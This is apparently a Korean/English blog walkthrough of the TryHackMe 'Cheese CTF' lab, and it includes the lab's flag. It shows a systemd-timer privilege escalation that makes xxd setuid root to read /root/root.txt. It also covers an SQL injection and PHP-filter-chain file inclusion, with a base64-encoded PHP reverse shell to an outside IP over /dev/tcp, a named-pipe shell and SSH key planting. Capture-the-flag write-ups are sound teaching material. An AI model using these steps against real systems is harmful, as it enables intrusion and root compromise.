drwxr-xr-x 2 root root 4096 Sep 27 2023 emergency.target.wants
-rw-r--r-- 1 root root 141 Mar 29 2024 exploit.service

here

-rwxrwxrwx 1 root root 87 Mar 29 2024 exploit.timer
drwxr-xr-x 2 root root 4096 Mar 14 2023 final.target.wants
drwxr-xr-x 2 root root 4096 Mar 14 2023 getty.target.wants
drwxr-xr-x 2 root root 4096 Mar 14 2023 graphical.target.wants
lrwxrwxrwx 1 root root 38 Mar 14 2023 iscsi.service -> /lib/systemd/system/open-iscsi.service
drwxr-xr-x 2 root root 4096 Mar 14 2023 mdmonitor.service.wants
lrwxrwxrwx 1 root root 38 Mar 14 2023 multipath-tools.service -> /lib/systemd/system/multipathd.service
drwxr-xr-x 2 root root 4096 Apr 26 05:43 multi-user.target.wants
lrwxrwxrwx 1 root root 35 Sep 27 2023 mysqld.service -> /lib/systemd/system/mariadb.service
lrwxrwxrwx 1 root root 35 Sep 27 2023 mysql.service -> /lib/systemd/system/mariadb.service
drwxr-xr-x 2 root root 4096 Mar 14 2023 network-online.target.wants
drwxr-xr-x 2 root root 4096 Mar 14 2023 open-vm-tools.service.requires
drwxr-xr-x 2 root root 4096 Mar 14 2023 paths.target.wants
drwxr-xr-x 2 root root 4096 Sep 27 2023 rescue.target.wants
drwxr-xr-x 2 root root 4096 Sep 27 2023 sleep.target.wants
-rw-r--r-- 1 root root 349 Mar 14 2024 snap-core20-2182.mount
-rw-r--r-- 1 root root 326 Apr 26 05:48 snap-core20-2501.mount
drwxr-xr-x 2 root root 4096 Apr 26 05:43 snapd.mounts.target.wants
-rw-r--r-- 1 root root 343 Mar 14 2023 snap-lxd-24061.mount
-rw-r--r-- 1 root root 320 Apr 26 05:48 snap-lxd-32662.mount
-rw-r--r-- 1 root root 467 Apr 26 05:43 snap.lxd.activate.service
-rw-r--r-- 1 root root 541 Apr 26 05:43 snap.lxd.daemon.service
-rw-r--r-- 1 root root 330 Apr 26 05:43 snap.lxd.daemon.unix.socket
-rw-r--r-- 1 root root 349 Sep 27 2023 snap-snapd-20092.mount
-rw-r--r-- 1 root root 326 Apr 26 05:48 snap-snapd-21184.mount
drwxr-xr-x 2 root root 4096 Apr 26 05:43 sockets.target.wants
lrwxrwxrwx 1 root root 31 Sep 27 2023 sshd.service -> /lib/systemd/system/ssh.service
drwxr-xr-x 2 root root 4096 Mar 14 2023 sysinit.target.wants
lrwxrwxrwx 1 root root 35 Mar 14 2023 syslog.service -> /lib/systemd/system/rsyslog.service
drwxr-xr-x 2 root root 4096 Mar 29 2024 timers.target.wants
-rw-r--r-- 1 root root 156 Sep 27 2023 twist.service
lrwxrwxrwx 1 root root 41 Mar 14 2023 vmtoolsd.service -> /lib/systemd/system/open-vm-tools.service
comte@ip-10-201-71-110:/etc/systemd/system$

exploit.timer

comte@ip-10-201-71-110:/etc/systemd/system$ cat exploit.timer
[Unit]
Description=Exploit Timer

[Timer]
OnBootSec=

[Install]
WantedBy=timers.target

exploit.service

comte@ip-10-201-71-110:/etc/systemd/system$ cat exploit.service
[Unit]
Description=Exploit Service

[Service]
Type=oneshot
ExecStart=/bin/bash -c "/bin/cp /usr/bin/xxd /opt/xxd && /bin/chmod +sx /opt/xxd"

systemctl status exploit.timer

comte@ip-10-201-71-110:/opt$ systemctl status exploit.timer
● exploit.timer - Exploit Timer
Loaded: bad-setting (Reason: Unit exploit.timer has a bad unit file setting.)
Active: inactive (dead)
Trigger: n/a
Triggers: ● exploit.service
comte@ip-10-201-71-110:/opt$

comte@ip-10-201-71-110:/etc/systemd/system$ cat exploit.timer -> 5s setting

[Unit]
Description=Exploit Timer

[Timer]
OnBootSec=5s

[Install]
WantedBy=timers.target

아래 명령어 활용해서 재시작

(ALL) NOPASSWD: /bin/systemctl daemon-reload
(ALL) NOPASSWD: /bin/systemctl restart exploit.timer
(ALL) NOPASSWD: /bin/systemctl start exploit.timer
(ALL) NOPASSWD: /bin/systemctl enable exploit.timer

comte@ip-10-201-71-110:/etc/systemd/system$ sudo /bin/systemctl daemon-reload
comte@ip-10-201-71-110:/etc/systemd/system$ sudo /bin/systemctl restart exploit.timer
comte@ip-10-201-71-110:/etc/systemd/system$ sudo /bin/systemctl start exploit.timer
comte@ip-10-201-71-110:/etc/systemd/system$ sudo /bin/systemctl enable exploit.timer
Created symlink /etc/systemd/system/timers.target.wants/exploit.timer → /etc/systemd/system/exploit.timer.
comte@ip-10-201-71-110:/etc/systemd/system$

active

comte@ip-10-201-71-110:/etc/systemd/system$ systemctl status exploit.timer
● exploit.timer - Exploit Timer
Loaded: loaded (/etc/systemd/system/exploit.timer; enabled; vendor preset: enabled)
Active: active (elapsed) since Mon 2025-08-04 14:34:47 UTC; 29s ago
Trigger: n/a
Triggers: ● exploit.service
comte@ip-10-201-71-110:/etc/systemd/system$

ls -al /opt

comte@ip-10-201-71-110:/etc/systemd/system$ ls -al /opt
total 28
drwxr-xr-x 2 root root 4096 Aug 4 14:34 .
drwxr-xr-x 19 root root 4096 Aug 4 10:35 ..
-rwsr-sr-x 1 root root 18712 Aug 4 14:34 xxd
comte@ip-10-201-71-110:/etc/systemd/system$

comte@ip-10-201-71-110:/opt$ strings xxd
/lib64/ld-linux-x86-64.so.2
vCRW
mfUa
libc.so.6
getc
fflush
exit
fopen
strncmp
perror
putc
ftell
stdin
rewind
strtol
fseek
stdout
fputs
fclose
strtoul
ctype_b_loc
stderr
fwrite
fprintf
fdopen
ctypetoupper_loc
strcpy_chk
cxa_finalize
sprintf_chk
strcmp
libc_start_main
ferror
GLIBC_2.3.4
GLIBC_2.2.5
GLIBC_2.3
_ITM_deregisterTMCloneTable
gmon_start
_ITM_registerTMCloneTable
AVAUI
ATUSH
d $4A -u A T$4t D$4E D;d$
$(L
d$ A
X[]A\A]A^A
d$ 1
l $(H d$ 1
d$ 1
l $(H \$8A D$ H
D $(H D$ HL
| $(A D$ H
D;| $|$ (Hc
$ H
T $8L t$ (t
T $DL T$ DL
L95C3
x I9
L;5g1
$8L
$8L
| $8H D$ HI
L $8Hc t$ 1
t$ 1
bu6A
u+UH
[]A\A]A^A
%s:
Options:
(or +: rel.)
[+][-]
%s0x%02x
%s0X%02X
%s%s
apitalize
roup
ffset
%s: sorry cannot seek.
unsigned char %s
[] = {
unsigned int %s
%s = %d;
%08lx:
Usage:
%s [options]infile [outfile]]
or
%s -r [-s [-]offset][-c cols] [-ps]infile [outfile]]
-a toggle autoskip: A single '' replaces nul-lines. Default off.
-b binary digit dump (incompatible with -ps,-i,-r). Default hex.
-C capitalize variable names in C include file style (-i).
-c cols format octets per line. Default 16 (-i: 12, -ps: 30).
-E show characters in EBCDIC. Default ASCII.
-e little-endian dump (incompatible with -ps,-i,-r).
-g number of octets per group in normal output. Default 2 (-e: 4).
-h print this summary.
-i output in C include file style.
-l len stop after octets.
-o off add to the displayed file position.
-ps output in postscript plain hexdump style.
-r reverse operation: convert (or patch) hexdump into binary.
-r -s off revert with added to file positions found in hexdump.
-s %sseek start at bytes abs. %sinfile offset.
-u use upper case hex letters.
-v show version: "%s%s".
%s: invalid number of columns (max. %d).
%s: number of octets per group must be a power of 2 with -e.
%s: sorry, cannot revert this type of hexdump
%s: sorry, cannot seek backwards.
.<(+|&
!$);~-/
,%_>?
`:#@'="
abcdefghi
jklmnopqr^
stuvwxyz
{ABCDEFGHI
}JKLMNOPQR
STUVWXYZ
0123456789
:*3 $" 0123456789abcdef0123456789ABCDEF xxd V1.10 27oct98 by Juergen Weigert f90ef6c8f61f76435257ef685569bb2b0bb3be.debug .shstrtab .interp .note.gnu.property .note.gnu.build-id .note.ABI-tag .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt .init .plt.got .plt.sec .text .fini .rodata .eh_frame_hdr .eh_frame .init_array .fini_array .dynamic .data .bss .gnu_debuglink comte@ip-10-201-71-110:/opt$

built file ? -> GTFObins 'XXD' search

comte@ip-10-201-71-110:/opt$ file xxd
xxd: setuid, setgid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=c2f90ef6c8f61f76435257ef685569bb2b0bb3be, for GNU/Linux 3.2.0, stripped
comte@ip-10-201-71-110:/opt$

https://gtfobins.github.io/gtfobins/xxd/

GTFObins

LFILE=/opt/xxd
xxd "$LFILE" | xxd -r

ot revert this type of hexdump
%s: sorry, cannot seek backwards.

��.<(+|&��! $*);~-/��,%_>?��`:#@'="�abcdefghi��jklmnopqr^��stuvwxyz��[��]��{ABCDEFGHI��}JKLMNOPQR��\�STUVWXYZ��0123456789��\ �� `P��x@��p��`��zRx ��/D$4��FJ �?:*3$ "\P��tH��P��-A��h��^AM@��A�D�D |
AI
B
AD
v
AH
L8��F�E�B �E(�A0�A8�D�
A0A(B BBA
DT8��eF�I�E �E(�D0�H8�G@n8A0A(B BB���(�( ��o�� b O@� � ��o��o��o��oM0@Pp�� 0@P`p��P0123456789abcdef0123456789ABCDEFxxd V1.10 27oct98 by Juergen Weigert Pf90ef6c8f61f76435257ef685569bb2b0bb3be.debug�e�.shstrtab.interp.note.gnu.property.note.gnu.build-id.note.ABI-tag.gnu.hash.dynsym.dynstr.gnu.version.gnu.version_r.rela.dyn.rela.plt.init.plt.got.plt.sec.text.fini.rodata.eh_frame_hdr.eh_frame.init_array.fini_array.dynamic.data.bss.gnu_debuglink
8&XX $9|| G��o��Q �00� ��7�7\��M=��P@� �P�@� �@4�@comte@ip-10-201-71-110:/opt$
\

text are broken...

LFILE=/root/root.txt
/opt/xxd "$LFILE" | xxd -r

comte@ip-10-201-71-110:~$ /opt/xxd "$LFILE" | xxd -r
_ _ _ _
_| | _ _ _ ()_ | ()/ | _
/ | ' \ / \/ \/ __|/ \ | / | | | | | / \
| (| | | | / /__ \ / | _ \ | | | | /
_|| ||_|_||_/_| ||/ |||_| ___|

THM{dca75486094810807faf4b7b0a929b11e5e0167c}

agnusdei

DevSecOps ⚙️ + CTF🚩

이전 포스트

smol

다음 포스트

Cheese CTF

THM

ip: 10.201.71.110

nmap -Pn -oN namp.txt -sV -sC 10.201.71.110 --open

ip: 10.201.71.110

all port are opened... so we are gonna to check step by step known port 22, 80, 8080, 5432... etc

info@thecheeseshop.com

curl login

SQL injection

All success

sql inject

|| 는 되는데 OR 는 안 되네?

directory traversal -> php filter -> file inclusion vulnerability

/etc/password try it out!

comte 1000 1000

php_filter_chain_generator -> A tool that enables RCE without file upload by leveraging PHP filters -> filter 를 활용

ip : 10.201.71.110

-> 백틱 내 문자열 쉘 커맨드로 실행

ip : 10.201.71.110

실행 되어버림

check for user info

ip : 10.201.71.110

Warning: Binary output can mess up your terminal. Use "--output -" to tell curl to output it to your terminal anyway, or consider "--output " to save to a file.

바이너리 경고 -> 다시

result -> id -> www-data -> 일반적으로 nginx, apache 가 사용하는 시스템 계정 -> backup, passwd 파일등 접근 되는지 check!

깨진 문자열을 보니 base64 를 사용하는 것으로 보임

php filter 를 이용한 LFI

바로 사용하니까 실패 -> bypass

base64 인코딩 -> PD9waHAgZWNobyBleGVjKCdzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjEzNi4yMTIvMTIzNCAwPiYxJyk7Pz4K

make payload -> expolit filter vulnerablity

깨져서 실패 재시도

뭔가 부족함

페이로드 제작 -> 이건 되는 방식

페이로드 제작 -> 이건 안 되는 방식 -> sh 은 안 됨 /dev/tcp 지원하지 않으므로 bash 로 수정해서 시도하기 혹은 안전하게 pipe 로 시도하기

ip: 10.201.71.110

ip: 10.201.71.110 -> bash 방식도 실패

ip: 10.201.71.110 -> named pipe 방식 성공

ip: 10.201.71.110

reverse shell success!

안 열리네 ...

comte 유저 .ssh 발견

공개키 생성

공개키 설정

ip: 10.201.71.110

ssh access

ip: 10.201.71.110

ssh -i /root/.ssh/id_ed25519 comte@10.201.71.110

sudo -l

here

exploit.timer

exploit.service

systemctl status exploit.timer

comte@ip-10-201-71-110:/etc/systemd/system$ cat exploit.timer -> 5s setting

아래 명령어 활용해서 재시작

active

ls -al /opt

built file ? -> GTFObins 'XXD' search

GTFObins

text are broken...

smol

silverplatter

0개의 댓글